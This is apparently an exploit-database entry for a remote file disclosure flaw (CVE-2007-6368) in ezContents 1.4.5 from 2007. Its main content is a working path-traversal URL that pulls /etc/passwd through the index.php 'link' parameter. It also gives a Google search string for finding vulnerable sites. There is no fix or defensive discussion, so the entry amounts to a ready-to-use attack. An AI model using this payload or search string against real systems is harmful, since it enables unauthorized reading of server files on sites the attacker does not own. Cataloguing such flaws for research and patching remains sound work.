EZContents 1.4.5 - 'index.php?link' Remote File Disclosure

Author: p4imi0
type: webapps
platform: php
port: 
date_added: 2007-12-04 
date_updated:  
verified: 1 
codes: OSVDB-39505;CVE-2007-6368 
tags: 
aliases:  
screenshot_url:  
application_url: 

--------------------------------------------------------------
ezContents Version 1.4.5 Remote File Disclosure Vulnerability.
--------------------------------------------------------------

download    : http://www.visualshapers.com/
author      : p4imi0
contact     : p4imi0@gmail.com
exploit     : /ezcontents1_4x/index.php?link=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
google dork : inurl:"index.php?link=" Powered by ezContents Version 1.4.5
thanks to   : str0ke, Cr[]w.

# milw0rm.com [2007-12-05]